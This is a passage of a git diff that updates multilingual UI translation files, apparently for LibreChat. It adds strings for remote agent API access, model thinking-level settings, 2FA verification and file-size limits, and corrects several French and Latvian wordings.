+ "com_ui_no_memories_match": "Keine Erinnerungen entsprechen deiner Suche",
+ "com_ui_no_memories_title": "Noch keine Erinnerungen",
"com_ui_no_personalization_available": "Derzeit sind keine Personalisierungsoptionen verfügbar.",
+ "com_ui_no_prompts_title": "Noch keine Prompts",
"com_ui_no_read_access": "Du hast keine Berechtigung, Erinnerungen anzuzeigen.",
"com_ui_no_results_found": "Keine Ergebnisse gefunden",
"com_ui_no_terms_content": "Keine Inhalte der Allgemeinen Geschäftsbedingungen zum Anzeigen",
@@ -1136,6 +1220,7 @@
"com_ui_off": "Aus",
"com_ui_offline": "Offline",
"com_ui_on": "An",
+ "com_ui_open_archived_chat_new_tab_title": "{{title}} (öffnet in neuem Tab)",
"com_ui_open_source_chat_new_tab": "Quell-Chat in neuem Tab öffnen",
"com_ui_open_source_chat_new_tab_title": "Quell-Chat in neuem Tab öffnen - {{title}}",
"com_ui_open_var": "{{0}} öffnen",
@@ -1157,6 +1242,7 @@
"com_ui_privacy_policy": "Datenschutzerklärung",
"com_ui_privacy_policy_url": "Datenschutzrichtlinie-URL",
"com_ui_prompt": "Prompt",
+ "com_ui_prompt_deleted": "{{0}} gelöscht",
"com_ui_prompt_group_button": "{{name}}-Prompt, Kategorie {{category}}",
"com_ui_prompt_group_button_no_category": "{{name}}-Prompt",
"com_ui_prompt_groups": "Prompt-Gruppenliste",
@@ -1171,6 +1257,7 @@
"com_ui_prompts": "Prompts",
"com_ui_prompts_allow_create": "Erstellung von Prompts erlauben",
"com_ui_prompts_allow_share": "Teilen von Prompts erlauben",
+ "com_ui_prompts_allow_share_public": "Öffentliches Teilen von Prompts erlauben",
"com_ui_prompts_allow_use": "Verwendung von Prompts erlauben",
"com_ui_provider": "Anbieter",
"com_ui_quality": "Qualität",
@@ -1188,6 +1275,18 @@
"com_ui_regenerating": "Generiere neu ...",
"com_ui_region": "Region",
"com_ui_reinitialize": "Neu initialisieren",
+ "com_ui_remote_access": "Remote-Zugriff",
+ "com_ui_remote_agent_role_editor": "Editor",
+ "com_ui_remote_agent_role_editor_desc": "Kann den Agent über die API ansehen und bearbeiten",
+ "com_ui_remote_agent_role_owner": "API-Eigentümer",
+ "com_ui_remote_agent_role_owner_desc": "Vollständiger API-Zugriff; kann anderen Remote-Zugriff gewähren",
+ "com_ui_remote_agent_role_viewer": "API-Betrachter",
+ "com_ui_remote_agent_role_viewer_desc": "Kann den Agent über die API abfragen",
+ "com_ui_remote_agents": "Remote-Agents (API)",
+ "com_ui_remote_agents_allow_create": "Nutzern das Erstellen von Agents über die API erlauben",
+ "com_ui_remote_agents_allow_share": "Nutzern erlauben, anderen API-Zugriff auf Agents zu gewähren",
+ "com_ui_remote_agents_allow_share_public": "Nutzern erlauben, allen Usern API-Zugriff auf Agents zu gewähren",
+ "com_ui_remote_agents_allow_use": "Nutzern erlauben, API-Schlüssel zu erstellen und Agents remote abzufragen",
"com_ui_remove_agent_from_chain": "{{0}} aus der Kette entfernen",
"com_ui_remove_user": "{{0}} entfernen",
"com_ui_rename": "Umbenennen",
@@ -1205,6 +1304,7 @@
"com_ui_result": "Ergebnis",
"com_ui_result_found": "{{count}} Ergebnis gefunden",
"com_ui_results_found": "{{count}} Ergebnisse gefunden",
+ "com_ui_retry": "Erneut versuchen",
"com_ui_revoke": "Widerrufen",
"com_ui_revoke_info": "Benutzer-API-Keys widerrufen",
"com_ui_revoke_key_confirm": "Bist du sicher, dass du diesen Schlüssel widerrufen möchtest?",
@@ -1276,7 +1376,9 @@
"com_ui_shared_link_not_found": "Geteilter Link nicht gefunden",
"com_ui_shared_prompts": "Geteilte Prompts",
"com_ui_shop": "Einkaufen",
+ "com_ui_show": "Anzeigen",
"com_ui_show_all": "Alle anzeigen",
+ "com_ui_show_code": "Code anzeigen",
"com_ui_show_image_details": "Details zum Bild anzeigen",
"com_ui_show_password": "Passwort anzeigen",
"com_ui_show_qr": "QR-Code anzeigen",
@@ -1288,6 +1390,7 @@
"com_ui_special_var_current_datetime": "Aktuelles Datum & Uhrzeit",
"com_ui_special_var_current_user": "Aktueller Nutzer",
"com_ui_special_var_iso_datetime": "UTC ISO Datum/Zeit",
+ "com_ui_special_variable_added": "Spezialvariable {{0}} hinzugefügt.",
"com_ui_special_variables": "Spezielle Variablen:",
"com_ui_special_variables_more_info": "Du kannst spezielle Variablen aus den Dropdown-Menüs auswählen: `{{current_date}}` (heutiges Datum und Wochentag), `{{current_datetime}}` (offizielles Datum und Uhrzeit), `{{utc_iso_datetime}}` (UTC ISO Datum/Zeit) und `{{current_user}}` (dein Benutzername).",
"com_ui_speech_not_supported": "Ihr Browser unterstützt keine Spracherkennung",
@@ -1332,6 +1435,7 @@
"com_ui_ui_resource_not_found": "UI-Ressource nicht gefunden (Index: {{0}})",
"com_ui_ui_resources": "UI-Ressourcen",
"com_ui_unarchive": "Aus Archiv holen",
+ "com_ui_unarchive_conversation": "Unterhaltung dearchivieren",
"com_ui_unarchive_error": "Konversation konnte nicht aus dem Archiv geholt werden",
"com_ui_unavailable": "Nicht verfügbar",
"com_ui_unknown": "Unbekannt",
@@ -1339,6 +1443,8 @@
"com_ui_unset": "Aufheben",
"com_ui_untitled": "Unbenannt",
"com_ui_update": "Aktualisieren",
+ "com_ui_update_mcp_server": "MCP-Server aktualisieren",
+ "com_ui_updating": "Aktualisieren...",
"com_ui_upload": "Hochladen",
"com_ui_upload_agent_avatar": "Agenten-Avatar erfolgreich aktualisiert",
"com_ui_upload_agent_avatar_label": "Avatarbild des Agenten hochladen",
@@ -1349,6 +1455,7 @@
"com_ui_upload_file_context": "Kontext der Datei hochladen",
"com_ui_upload_file_search": "Hochladen für Dateisuche",
"com_ui_upload_files": "Dateien hochladen",
+ "com_ui_upload_icon": "Symbolbild hochladen",
"com_ui_upload_image": "Ein Bild hochladen",
"com_ui_upload_image_input": "Bild hochladen",
"com_ui_upload_invalid": "Ungültige Datei zum Hochladen. Muss ein Bild sein und das Limit nicht überschreiten",
@@ -1402,7 +1509,9 @@
"com_ui_weekend_morning": "Schönes Wochenende",
"com_ui_write": "Schreiben",
"com_ui_x_selected": "{{0}} ausgewählt",
+ "com_ui_xhigh": "Extra hoch",
"com_ui_yes": "Ja",
+ "com_ui_your_api_key": "Dein API Key",
"com_ui_zoom": "Zoom",
"com_ui_zoom_in": "Heranzoomen",
"com_ui_zoom_level": "Zoomstufe",
diff --git a/client/src/locales/en/translation.json b/client/src/locales/en/translation.json
index e0dad68431..36d882c6a2 100644
--- a/client/src/locales/en/translation.json
+++ b/client/src/locales/en/translation.json
@@ -236,6 +236,7 @@
"com_endpoint_assistant": "Assistant",
"com_endpoint_assistant_model": "Assistant Model",
"com_endpoint_assistant_placeholder": "Please select an Assistant from the right-hand Side Panel",
+ "com_endpoint_bedrock_reasoning_effort": "Controls the reasoning level for supported Bedrock models (e.g. Kimi K2.5, GLM). Higher levels produce more thorough reasoning at the cost of increased latency and tokens.",
"com_endpoint_config_click_here": "Click Here",
"com_endpoint_config_google_api_info": "To get your Generative Language API key (for Gemini),",
"com_endpoint_config_google_api_key": "Google API Key",
@@ -274,8 +275,9 @@
"com_endpoint_google_custom_name_placeholder": "Set a custom name for Google",
"com_endpoint_google_maxoutputtokens": "Maximum number of tokens that can be generated in the response. Specify a lower value for shorter responses and a higher value for longer responses. Note: models may stop before reaching this maximum.",
"com_endpoint_google_temp": "Higher values = more random, while lower values = more focused and deterministic. We recommend altering this or Top P but not both.",
- "com_endpoint_google_thinking": "Enables or disables reasoning. This setting is only supported by certain models (2.5 series). For older models, this setting may have no effect.",
- "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting is only supported by certain models (2.5 series). Gemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
+ "com_endpoint_google_thinking": "Enables or disables reasoning. Supported by Gemini 2.5 and 3 series. Note: Gemini 3 Pro cannot fully disable thinking.",
+ "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting only applies to Gemini 2.5 and older models. For Gemini 3 and later, use the Thinking Level setting instead.\n\nGemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
+ "com_endpoint_google_thinking_level": "Controls the depth of reasoning for Gemini 3 and later models. Has no effect on Gemini 2.5 and older — use Thinking Budget for those.\n\nLeave on Auto to use the model default.",
"com_endpoint_google_topk": "Top-k changes how the model selects tokens for output. A top-k of 1 means the selected token is the most probable among all tokens in the model's vocabulary (also called greedy decoding), while a top-k of 3 means that the next token is selected from among the 3 most probable tokens (using temperature).",
"com_endpoint_google_topp": "Top-p changes how the model selects tokens for output. Tokens are selected from most K (see topK parameter) probable to least until the sum of their probabilities equals the top-p value.",
"com_endpoint_google_use_search_grounding": "Use Google's search grounding feature to enhance responses with real-time web search results. This enables models to access current information and provide more accurate, up-to-date answers.",
@@ -345,6 +347,7 @@
"com_endpoint_temperature": "Temperature",
"com_endpoint_thinking": "Thinking",
"com_endpoint_thinking_budget": "Thinking Budget",
+ "com_endpoint_thinking_level": "Thinking Level",
"com_endpoint_top_k": "Top K",
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Use Active Assistant",
@@ -369,6 +372,7 @@
"com_error_missing_model": "No model selected for {{0}}. Please select a model and try again.",
"com_error_models_not_loaded": "Models configuration could not be loaded. Please refresh the page and try again.",
"com_error_moderation": "It appears that the content submitted has been flagged by our moderation system for not aligning with our community guidelines. We're unable to proceed with this specific topic. If you have any other questions or topics you'd like to explore, please edit your message, or create a new conversation.",
+ "com_error_invalid_base_url": "The base URL you provided targets a restricted address. Please use a valid external URL and try again.",
"com_error_no_base_url": "No base URL found. Please provide one and try again.",
"com_error_no_user_key": "No key found. Please provide a key and try again.",
"com_error_refusal": "Response refused by safety filters. Rewrite your message and try again. If you encounter this frequently while using Claude Sonnet 4.5 or Opus 4.1, you can try Sonnet 4, which has different usage restrictions.",
@@ -636,6 +640,7 @@
"com_ui_2fa_generate_error": "There was an error generating two-factor authentication settings",
"com_ui_2fa_invalid": "Invalid two-factor authentication code",
"com_ui_2fa_setup": "Setup 2FA",
+ "com_ui_2fa_verification_required": "Enter your 2FA code to continue",
"com_ui_2fa_verified": "Successfully verified Two-Factor Authentication",
"com_ui_accept": "I accept",
"com_ui_action_button": "Action Button",
@@ -744,7 +749,9 @@
"com_ui_attach_error": "Cannot attach file. Create or select a conversation, or try refreshing the page.",
"com_ui_attach_error_disabled": "File uploads are disabled for this endpoint",
"com_ui_attach_error_openai": "Cannot attach Assistant files to other endpoints",
+ "com_ui_attach_error_limit": "File limit reached:",
"com_ui_attach_error_size": "File size limit exceeded for endpoint:",
+ "com_ui_attach_error_total_size": "Total file size limit exceeded for endpoint:",
"com_ui_attach_error_type": "Unsupported file type for endpoint:",
"com_ui_attach_remove": "Remove file",
"com_ui_attach_warn_endpoint": "Non-Assistant files may be ignored without a compatible tool",
@@ -1186,7 +1193,7 @@
"com_ui_next": "Next",
"com_ui_no": "No",
"com_ui_no_api_keys": "No API keys yet. Create one to get started.",
- "com_ui_no_auth": "No Auth",
+ "com_ui_no_auth": "None (Auto-detect)",
"com_ui_no_bookmarks": "it seems like you have no bookmarks yet. Click on a chat and add a new one",
"com_ui_no_bookmarks_match": "No bookmarks match your search",
"com_ui_no_bookmarks_title": "No bookmarks yet",
diff --git a/client/src/locales/fr/translation.json b/client/src/locales/fr/translation.json
index c9d78ac3f5..7838b33739 100644
--- a/client/src/locales/fr/translation.json
+++ b/client/src/locales/fr/translation.json
@@ -1203,7 +1203,7 @@
"com_ui_upload_image_input": "Téléverser une image",
"com_ui_upload_invalid": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser la limite",
"com_ui_upload_invalid_var": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser {{0}} Mo",
- "com_ui_upload_ocr_text": "Téléchager en tant que texte",
+ "com_ui_upload_ocr_text": "Télécharger en tant que texte",
"com_ui_upload_provider": "Télécharger vers le fournisseur",
"com_ui_upload_success": "Fichier téléversé avec succès",
"com_ui_upload_type": "Sélectionner le type de téléversement",
diff --git a/client/src/locales/it/translation.json b/client/src/locales/it/translation.json
index 1b78ae9ab8..f8e4f5e5d8 100644
--- a/client/src/locales/it/translation.json
+++ b/client/src/locales/it/translation.json
@@ -1,12 +1,15 @@
{
+ "chat_direction_left_to_right": "Da Sinistra a Destra",
"chat_direction_right_to_left": "Da destra a sinistra\n",
"com_a11y_ai_composing": "L'IA sta ancora componendo",
"com_a11y_end": "L'IA ha terminato la sua risposta",
+ "com_a11y_selected": "Selezionato",
"com_a11y_start": "L'IA ha iniziato la sua risposta",
"com_agents_agent_card_label": "{{name}} agente. {{description}}",
"com_agents_all": "Tutti gli agenti\n",
"com_agents_all_category": "Tutti",
"com_agents_all_description": "Sfoglia tutti gli agenti condivisi in tutte le categorie",
+ "com_agents_avatar_upload_error": "Il caricamento dell'avatar d'agente è fallito",
"com_agents_by_librechat": "da LibreChat",
"com_agents_category_aftersales": "Post-vendita",
"com_agents_category_aftersales_description": "Agenti specializzati nel supporto post-vendita, manutenzione e servizio clienti",
@@ -15,6 +18,7 @@
"com_agents_category_finance_description": "Agenti specializzati in analisi finanziaria, budgeting e contabilità",
"com_agents_category_general": "Generale",
"com_agents_category_general_description": "Agenti di uso generale per compiti e richieste comuni",
+ "com_agents_category_hr": "Risorse Umane",
"com_agents_category_hr_description": "Agenti specializzati in processi, politiche e supporto ai dipendenti delle risorse umane",
"com_agents_category_it": "IT",
"com_agents_category_it_description": "Agenti per supporto IT, risoluzione dei problemi tecnici e amministrazione del sistema",
@@ -32,6 +36,7 @@
"com_agents_copy_link": "Copia Link",
"com_agents_create_error": "Si è verificato un errore durante la creazione del tuo agente.",
"com_agents_created_by": "da",
+ "com_agents_description_card": "Descrizione: {{descrizione}}",
"com_agents_description_placeholder": "Opzionale: Descrivi qui il tuo Agente",
"com_agents_empty_state_heading": "Nessun agente trovato",
"com_agents_enable_file_search": "Abilita Ricerca File",
@@ -52,6 +57,7 @@
"com_agents_error_searching": "Errore nella ricerca degli agenti",
"com_agents_error_server_message": "Il server è temporaneamente non disponibile.",
"com_agents_error_server_suggestion": "Riprova tra qualche istante.",
+ "com_agents_error_server_title": "Errore del Server",
"com_agents_error_suggestion_generic": "Per favore, prova ad aggiornare la pagina o riprova più tardi.\n",
"com_agents_error_timeout_message": "La richiesta ha richiesto troppo tempo per essere completata.",
"com_agents_error_timeout_suggestion": "Controllare la connessione a Internet e riprovare.",
diff --git a/client/src/locales/lv/translation.json b/client/src/locales/lv/translation.json
index 5048c33dcc..57794a9e2a 100644
--- a/client/src/locales/lv/translation.json
+++ b/client/src/locales/lv/translation.json
@@ -39,7 +39,7 @@
"com_agents_description_card": "Apraksts: {{description}}",
"com_agents_description_placeholder": "Pēc izvēles: aprakstiet savu aģentu šeit",
"com_agents_empty_state_heading": "Nav atrasts neviens aģents",
- "com_agents_enable_file_search": "Iespējot vektorizēto meklēšanu",
+ "com_agents_enable_file_search": "Iespējot meklēšanu dokumentos",
"com_agents_error_bad_request_message": "Pieprasījumu nevarēja apstrādāt.",
"com_agents_error_bad_request_suggestion": "Lūdzu, pārbaudiet ievadītos datus un mēģiniet vēlreiz.",
"com_agents_error_category_title": "Kategorija Kļūda",
@@ -66,7 +66,7 @@
"com_agents_file_context_description": "Visi augšupielādētie faili tiek pilnībā pārveidoti tekstā un nekavējoties pievienoti aģenta pamata kontekstam kā nemainīgs saturs, kas pieejams visu sarunas laiku. Ja augšupielādētajam faila tipam ir pieejams vai konfigurēts OCR, teksta izvilkšana notiek automātiski. Šī metode ir piemērota gadījumos, kad nepieciešams analizēt visu dokumenta, attēla ar tekstu vai PDF faila saturu, taču jāņem vērā, ka tas ievērojami palielina atmiņas patēriņu un izmaksas.",
"com_agents_file_context_disabled": "Pirms failu augšupielādes, lai to pievienotu kā kontekstu, ir jāizveido aģents.",
"com_agents_file_context_label": "Pievienot failu kā kontekstu",
- "com_agents_file_search_disabled": "Lai varētu iespējot vektorizētu meklēšanu ir jāizveido aģents.",
+ "com_agents_file_search_disabled": "Lai varētu iespējot meklēšanu dokumentos ir jāizveido aģents.",
"com_agents_file_search_info": "Kad šī opcija ir iespējota, aģents izmanto vektorizētu datu meklēšanu (RAG pieeju), kas ļauj efektīvi un izmaksu ziņā izdevīgi izgūt atbilstošu kontekstu tikai no būtiskākajām faila daļām, balstoties uz lietotāja jautājumu, nevis analizē visu failu pilnā apjomā.",
"com_agents_grid_announcement": "Rādu {{count}} aģentus {{category}} kategorijā",
"com_agents_instructions_placeholder": "Sistēmas instrukcijas, ko izmantos aģents",
@@ -126,7 +126,7 @@
"com_assistants_delete_actions_success": "Darbība veiksmīgi dzēsta no asistenta",
"com_assistants_description_placeholder": "Pēc izvēles: Šeit aprakstiet savu asistentu",
"com_assistants_domain_info": "Asistents nosūtīja šo informāciju {{0}}",
- "com_assistants_file_search": "Vektorizētā Meklēšana (RAG)",
+ "com_assistants_file_search": "Meklēšana dokumentos",
"com_assistants_file_search_info": "Šī funkcija ļauj asistentam izmantot augšupielādēto failu saturu, pievienojot zināšanas tieši no lietotāja vai citu lietotāju failiem. Pēc faila augšupielādes asistents automātiski identificē un izgūst nepieciešamās teksta daļas atbilstoši lietotāja pieprasījumam, neiekļaujot visu failu pilnā apjomā. Vektoru datubāzu (vector store) pieslēgšana tieši šai funkcijai šobrīd nav atbalstīta; tās iespējams pievienot tikai Provider Playground vidē vai augšupielādējot failus sarunas pavedienam ikreizējai meklēšanai.",
"com_assistants_function_use": "Izmantotais asistents {{0}}",
"com_assistants_image_vision": "Attēla redzējums",
@@ -136,7 +136,7 @@
"com_assistants_knowledge_info": "Ja augšupielādējat failus sadaļā Zināšanas, sarunās ar asistentu var tikt iekļauts faila saturs.",
"com_assistants_max_starters_reached": "Sasniegts maksimālais sarunu uzsākšanas iespēju skaits",
"com_assistants_name_placeholder": "Pēc izvēles: Asistenta nosaukums",
- "com_assistants_non_retrieval_model": "Šajā modelī vektorizētā meklēšana nav iespējota. Lūdzu, izvēlieties citu modeli.",
+ "com_assistants_non_retrieval_model": "Šajā modelī meklēšana dokumentos nav iespējota. Lūdzu, izvēlieties citu modeli.",
"com_assistants_retrieval": "Atgūšana",
"com_assistants_running_action": "Darbība palaista",
"com_assistants_running_var": "Strādā {{0}}",
@@ -224,18 +224,19 @@
"com_endpoint_agent": "Aģents",
"com_endpoint_agent_placeholder": "Lūdzu, izvēlieties aģentu",
"com_endpoint_ai": "Mākslīgais intelekts",
- "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko argumentāciju (tikai Opus 4.6).",
+ "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko spriešanu (tikai Opus 4.6).",
"com_endpoint_anthropic_maxoutputtokens": "Maksimālais atbildē ģenerējamo tokenu skaits. Norādiet zemāku vērtību īsākām atbildēm un augstāku vērtību garākām atbildēm. Piezīme: modeļi var apstāties pirms šī maksimālā skaita sasniegšanas.",
"com_endpoint_anthropic_prompt_cache": "Uzvednes kešatmiņa ļauj atkārtoti izmantot lielu kontekstu vai instrukcijas API izsaukumos, samazinot izmaksas un ābildes ātrumu.",
"com_endpoint_anthropic_temp": "Diapazons no 0 līdz 1. Analītiskiem/atbilžu variantiem izmantot temp vērtību tuvāk 0, bet radošiem un ģeneratīviem uzdevumiem — tuvāk 1. Iesakām mainīt šo vai Top P, bet ne abus.",
- "com_endpoint_anthropic_thinking": "Iespējo iekšējo domāšanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
- "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā domāšanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
+ "com_endpoint_anthropic_thinking": "Iespējo iekšējo spriešanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
+ "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā spriešanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
"com_endpoint_anthropic_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
"com_endpoint_anthropic_topp": "`Top-p` maina to, kā modelis atlasa marķierus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
- "com_endpoint_anthropic_use_web_search": "Iespējojiet tīmekļa meklēšanas funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
+ "com_endpoint_anthropic_use_web_search": "Iespējojiet meklēšanu tīmeklī funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
"com_endpoint_assistant": "Asistents",
"com_endpoint_assistant_model": "Asistenta modelis",
"com_endpoint_assistant_placeholder": "Lūdzu, labajā sānu panelī atlasiet asistentu.",
+ "com_endpoint_bedrock_reasoning_effort": "Kontrolē spriešanas līmeni atbalstītajiem Bedrock modeļiem (piemēram, Kimi K2.5, GLM). Augstāki līmeņi nodrošina pamatīgāku argumentāciju, taču tas maksā ar lielāku kavēšanos un lielākiem tokeniem.",
"com_endpoint_config_click_here": "Noklikšķiniet šeit",
"com_endpoint_config_google_api_info": "Lai iegūtu savu Ģeneratīvās valodas API atslēgu (Gemini),",
"com_endpoint_config_google_api_key": "Google API atslēga",
@@ -276,6 +277,7 @@
"com_endpoint_google_temp": "Augstākas vērtības = nejaušāks, savukārt zemākas vērtības = fokusētāks un deterministiskāks. Iesakām mainīt šo vai Top P, bet ne abus.",
"com_endpoint_google_thinking": "Iespējo vai atspējo spriešanas funkciju. Šo iestatījumu atbalsta tikai daži modeļi (2.5 sērija). Vecākiem modeļiem šim iestatījumam var nebūt nekādas ietekmes.",
"com_endpoint_google_thinking_budget": "Norāda modeļa izmantoto domāšanas tokenu skaitu. Faktiskais skaits var pārsniegt vai būt mazāks par šo vērtību atkarībā no uzvednes.\n\nŠo iestatījumu atbalsta tikai noteikti modeļi (2.5 sērija). Gemini 2.5 Pro atbalsta 128–32 768 žetonus. Gemini 2.5 Flash atbalsta 0–24 576 žetonus. Gemini 2.5 Flash Lite atbalsta 512–24 576 žetonus.\n\nAtstājiet tukšu vai iestatiet uz \"-1\", lai modelis automātiski izlemtu, kad un cik daudz domāt. Pēc noklusējuma Gemini 2.5 Flash Lite nedomā.",
+ "com_endpoint_google_thinking_level": "Kontrolē spriešanas dziļumu Gemini 3 un jaunākos modeļos. Nav ietekmes uz Gemini 2.5 un vecākiem modeļiem - tiem izmantojiet Domāšanas budžetu.\n\nLai izmantotu modeļa noklusējuma iestatījumu, atstājiet iestatījumu Automātiski.",
"com_endpoint_google_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
"com_endpoint_google_topp": "`Top-p` maina to, kā modelis atlasa tokenus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
"com_endpoint_google_use_search_grounding": "Izmantot Google meklēšanas pamatošanas funkciju, lai uzlabotu atbildes ar reāllaika tīmekļa meklēšanas rezultātiem. Tas ļauj modeļiem piekļūt aktuālajai informācijai un sniegt precīzākas, aktuālākas atbildes.",
@@ -332,7 +334,7 @@
"com_endpoint_prompt_prefix_assistants": "Papildu instrukcijas",
"com_endpoint_prompt_prefix_assistants_placeholder": "Iestatiet papildu norādījumus vai kontekstu virs Asistenta galvenajiem norādījumiem. Ja lauks ir tukšs, tas tiek ignorēts.",
"com_endpoint_prompt_prefix_placeholder": "Iestatiet pielāgotas instrukcijas vai kontekstu. Ja lauks ir tukšs, tas tiek ignorēts.",
- "com_endpoint_reasoning_effort": "Spriešanas līmenis",
+ "com_endpoint_reasoning_effort": "Spriešanas piepūle",
"com_endpoint_reasoning_summary": "Spriešanas kopsavilkums",
"com_endpoint_save_as_preset": "Saglabāt kā iestatījumu",
"com_endpoint_search": "Meklēt galapunktu pēc nosaukuma",
@@ -345,6 +347,7 @@
"com_endpoint_temperature": "Temperatūra",
"com_endpoint_thinking": "Domāšana",
"com_endpoint_thinking_budget": "Domāšanas budžets",
+ "com_endpoint_thinking_level": "Domāšanas līmenis",
"com_endpoint_top_k": "Top K",
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Izmantojiet aktīvo asistentu",
@@ -490,7 +493,7 @@
"com_nav_info_latex_parsing": "Ja šī opcija ir iespējota, LaTeX kods ziņās tiks atveidots kā matemātiski vienādojumi. Šīs opcijas atspējošana var uzlabot veiktspēju, ja LaTeX atveidošana nav nepieciešama.",
"com_nav_info_save_badges_state": "Ja šī opcija ir iespējota, sarunu nozīmīšu stāvoklis tiks saglabāts. Tas nozīmē, ka, izveidojot jaunu sarunu, nozīmītes paliks tādā pašā stāvoklī kā iepriekšējā sarunā. Ja atspējosiet šo opciju, nozīmītes tiks atiestatītas uz noklusējuma stāvokli katru reizi, kad izveidosiet jaunu sarunu.",
"com_nav_info_save_draft": "Ja šī opcija ir iespējota, sarunas veidlapā ievadītais teksts un pielikumi tiks automātiski saglabāti lokāli kā melnraksti. Šie melnraksti būs pieejami pat tad, ja atkārtoti ielādēsiet lapu vai pārslēgsieties uz citu sarunu. Melnraksti tiek saglabāti lokāli jūsu ierīcē un tiek dzēsti, tiklīdz ziņa ir nosūtīts.",
- "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamās izvēlnes, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
+ "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamā izvēlne, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
"com_nav_info_user_name_display": "Ja šī opcija ir iespējota, sūtītāja lietotājvārds tiks rādīts virs katra jūsu nosūtītās ziņas. Ja šī opcija ir atspējota, virs ziņām redzēsiet tikai vārdu \"Jūs\".",
"com_nav_keep_screen_awake": "Atbildes ģenerēšanas laikā atstājiet ekrānu nomodā",
"com_nav_lang_arabic": "العربية",
@@ -842,6 +845,7 @@
"com_ui_controls": "Pārvaldība",
"com_ui_conversation": "saruna",
"com_ui_conversation_label": "{{title}} saruna",
+ "com_ui_conversation_not_found": "Saruna nav atrasta",
"com_ui_conversations": "sarunas",
"com_ui_convo_archived": "Sarunas arhivētas",
"com_ui_convo_delete_error": "Neizdevās izdzēst sarunu",
@@ -1455,7 +1459,7 @@
"com_ui_upload_delay": "Augšupielāde \"{{0}}\" aizņem vairāk laika nekā paredzēts. Lūdzu, uzgaidiet, kamēr faila indeksēšana ir pabeigta izguvei.",
"com_ui_upload_error": "Augšupielādējot failu, radās kļūda.",
"com_ui_upload_file_context": "Augšupielādēt failu kā kontekstu",
- "com_ui_upload_file_search": "Augšupielādēt vektorizētai meklēšanai",
+ "com_ui_upload_file_search": "Pievienot meklēšanai dokumentos",
"com_ui_upload_files": "Augšupielādēt failus",
"com_ui_upload_icon": "Augšupielādēt ikonas attēlu",
"com_ui_upload_image": "Augšupielādēt failu kā attēlu",
@@ -1463,7 +1467,7 @@
